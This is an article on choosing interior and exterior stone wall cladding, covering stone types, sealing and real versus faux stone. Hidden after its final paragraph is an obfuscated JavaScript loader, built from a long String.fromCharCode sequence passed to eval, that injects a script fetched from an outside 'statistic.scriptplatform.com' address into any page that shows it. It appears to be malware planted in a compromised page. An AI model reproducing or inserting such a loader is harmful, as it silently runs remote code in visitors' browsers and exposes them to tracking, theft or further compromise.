How to select interior or exterior stone cladding for your project?

Stone has been used in architecture for centuries now, and even in our era, its popularity remains high. Homeowners select it not only because of its elegance and beauty but practicality and durability as well. Do you want to add it to your design too? Read on and find out more about the benefits of stone wall cladding.

Benefits of using interior stone wall cladding

If you’re in the market for some stone cladding to spruce up your interiors, you’ll quickly realise that a myriad of options waits for you. After all, the stone is available in different colours, textures, shapes, and finishes. With so many alternatives, it can be overwhelming to decide which one will suit your design the best. However, the good news is that interior stone cladding doesn’t face the same hazards as external cladding so you can choose virtually any type of stone for the inside of your home. And while moisture, heat, and staining can cause problems, especially in areas like the kitchen and bathroom, there are simple ways to prevent damage to the stone. For instance, opt for a less porous stone that has a smoother texture in those spaces to minimise the absorption of liquids, salts, and stains. Of course, remember to regularly apply a sealant as well to maintain the stone’s optimal condition. By following these easy steps, you can enjoy your stunning stone wall cladding for many years to come with little to no effort.

Learn all about exterior stone cladding advantages

Remember that stone cladding isn’t restricted to indoor use only – it can also be installed externally to enhance the beauty and functionality of the outside of your building. However, when choosing a stone for outdoor use, it’s crucial to opt for materials that can withstand harsh outside elements such as UV rays, rain, hail, snow, wind, and moisture. In certain climates, the exterior stone cladding will also need to cope with extreme temperature changes. As you can see, selecting a suitable material is essential for the longevity of your outdoor stone cladding. Limestone, sandstone, slate, granite, marble, and quartz are among the most durable stones and will easily withstand such challenging conditions. These stones offer high durability as well as additional insulation for your home and are able to reduce the amount of noise that enters from outside. Of course, to ensure your stone wall cladding maintains its exceptional qualities, regular application of a special sealant is necessary.

Real vs faux stone wall cladding

While shopping and choosing your interior or exterior stone cladding, make sure to select products made from actual stone instead of plastic or styrofoam. Even though these materials are often lighter, cheaper and easier to install, they don’t have any similarities with real stone wall cladding and won’t provide you with the same benefits. On top of that, they usually look quite cheap and probably won’t last a season or two on your walls.var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

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